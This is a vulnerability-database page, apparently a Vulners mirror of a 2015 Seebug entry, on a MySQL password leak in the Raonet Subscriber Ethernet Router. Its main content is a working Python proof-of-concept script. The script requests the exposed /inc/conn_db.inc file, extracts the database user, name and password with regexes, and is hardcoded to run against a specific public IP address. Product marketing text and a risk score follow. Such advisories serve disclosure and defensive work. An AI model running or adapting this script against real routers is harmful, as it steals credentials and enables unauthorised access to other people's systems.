Lucene search
K

Raonet Subscriber Ethernet Router MySQL 数据库账户密码泄露

🗓️ 28 Aug 2015 00:00:00Reported by ulrdflelType 
seebug
 seebug
🔗 www.seebug.org👁 163 Views

Raonet Subscriber Ethernet Router MySQL account password leake

Code

                                                #!/usr/bin/env python
import urlparse
import re
import urllib2

def assign(service, arg):
    if service != "www":
        return
    arr = urlparse.urlparse(arg)
    return True, '%s://%s/inc/conn_db.inc' % (arr.scheme, arr.netloc)

def getMiddleStr(content, r):
    pattern = re.compile(r)
    return pattern.search(content).groups()[0]

def audit(arg):
    url = arg
    response = urllib2.urlopen(url)
    code = response.getcode()
    res = response.read()
    if code == 200:
        print 'db_id: ' + getMiddleStr(res, '\$db_id = "(\w*)"\w*')
        print 'db_name: ' + getMiddleStr(res, '\$db_name = "(\w*)"\w*')
        print 'db_pass: ' + getMiddleStr(res, '\$db_pass = "(\w*)"\w*')

if __name__ == '__main__':
    audit(assign('www', 'http://61.77.63.86/')[1])
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2015 00:00Current
7High risk
Vulners AI Score7
163